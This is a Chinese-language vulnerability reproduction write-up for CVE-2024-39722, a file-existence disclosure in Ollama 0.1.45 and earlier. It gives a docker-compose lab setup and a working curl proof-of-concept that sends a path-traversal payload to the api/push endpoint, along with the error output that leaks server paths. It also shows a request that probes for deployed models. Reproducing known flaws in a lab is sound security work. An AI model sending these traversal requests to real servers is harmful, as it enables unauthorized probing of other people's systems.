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75 lines
2.1 KiB
Markdown
75 lines
2.1 KiB
Markdown
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# Ollama 文件存在性泄露漏洞 CVE-2024-39722
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## 漏洞描述
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Ollama 0.1.45 及之前的版本中，攻击者可以通过 `api/push` 端点的路径遍历暴露服务器上存在的文件。
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当调用 `api/push` 路由并提供一个不存在的路径参数时，服务器会将转义后的 `URI` 直接返回给攻击者，从而泄露目标服务器及执行该请求的用户的文件存在性信息，这一漏洞为攻击者提供了一种探测文件是否存在的手段。
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参考链接：
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- https://github.com/advisories/GHSA-cfxq-8762-vx3v
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- https://oligosecurity.webflow.io/blog/more-models-more-probllms
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## 漏洞影响
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```
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Ollama ≤ 0.1.45
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Fixed in version 0.1.46
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```
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## 环境搭建
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docker-compose.yml
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```
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services:
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ollama:
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image: ollama/ollama:0.1.45
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container_name: ollama
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volumes:
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- ollama:/root/.ollama
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ports:
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- "11434:11434"
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volumes:
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ollama:
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```
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执行如下命令启动 Ollama 0.1.45 服务，并拉取任意一个模型，模拟真实部署环境，例如 `codegemma:2b` ：
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```
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docker compose up -d
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docker exec -it ollama ollama run codegemma:2b
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```
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环境启动后，访问 `http://your-ip:11434/`，此时 Ollma 0.1.45 已经成功运行。
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## 漏洞复现
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通过 HTTP 暴露服务器目录结构：
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```
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curl http://your-ip:11434/api/push -d '{ "name": "../../../test../../../:../../../test../../../", "insecure": true, "stream": true }'
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-----
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{"status":"retrieving manifest"}
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{"status":"couldn't retrieve manifest"}
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{"error":"stat /root/.ollama/models/manifests/registry.ollama.ai/library/latest: no such file or directory"}
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```
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基于服务器目录结构，可探测部署的模型：
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```
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curl http://your-ip:11434/api/push -d '{ "name": "codegemma:2b", "insecure": true, "stream": true }'
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```
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## 漏洞修复
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- 升级至最新版本 https://github.com/ollama/ollama
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